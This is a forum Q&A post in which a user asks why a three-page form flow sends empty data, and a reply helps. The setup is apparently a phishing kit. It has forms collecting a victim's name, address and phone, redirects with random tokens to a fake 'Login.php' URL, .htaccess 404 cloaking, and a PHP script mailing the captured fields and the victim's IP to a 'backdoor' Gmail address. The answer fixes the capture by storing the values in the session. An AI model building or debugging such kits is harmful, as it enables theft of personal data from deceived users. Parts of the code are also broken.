使用$ _SESSION和$ _POST的多个输入值

Please help me with this question

I have 3 page html

Page 1 login.html

<form action='detail.html' method='post'>Name:<input type='text'
name='enteruser'/> <input type='submit' value='Submit'/></form>"

Page 2 detail.html

<form action='contact.html' method='post'>
Address: <input type='text' name='Address'/>
<input type='submit' value='Submit'/></form>";

Page 3 contact.html

<form action='send.php' method='post'>
Phone Number: <input type='text' name='contactid'/>
<input type='submit' value='Submit'/></form>";

in defferen directory /a /b /c

to replace the orginal page I using php code like this for give me random url:

<?
<html><head> 
<meta http-equiv="refresh" content="0; URL=Login.php?msg=OnlineIdEmpty&request_locale=<?echo
rand();?>&statusCode=<?echo md5(uniqid(time()));?>"> 
<script language="JavaScript" type="text/javascript"> 
<!-- 
function redirect() {setTimeout("window.location.replace(Login.php?msg=OnlineIdEmpty&request_locale=<?echorand();?>&statusCode=<?echo md5(uniqid(time()));?>')", 0); } 
--> 
</script> 
</head>
?>

and every directory I give .htaccess 404

but when I try to obtain all input value of page to my email using php code:

<?
$do = "mail";
$browser = $_SERVER['HTTP_USER_AGENT'];
$ip = getenv("REMOTE_ADDR");
$message .= "---------------Log-----------------
";
$message .= "Name: ".$_POST['enteruser']."
";
$message .= "Address: ".$_POST['Address']."
";
$message .= "Phone: ".$_POST['contactid']."
";
$send = "laporan.backdoor@gmail.com";
$subject = "Report";
$headers = "From: Customer<newlog@blalala.com>";
$headers .= $_POST['eMailAdd']."
";
$headers .= "MIME-Version: 1.0
";
$arr=array($send, $IP);
foreach ($arr as $send)
{
mail($send,$subject,$message,$headers);
$do($er,$subject,$message,$headers);
}
?>

I got blank info into my email, could you tell what wrong with the source code or maybe I do something wrong?

because I has been put session_start() $_SESSION and $_POST every html page, but it still does not work

when you submit login.html, save the value of enteruser in session, and whe you submit contact.html save the value of Address in the session, then you can use these values in the contact form, like this:

$message .= "Name: ".$_SESSION['enteruser']."
";
$message .= "Address: ".$_SESSION['Address']."
";

and check now...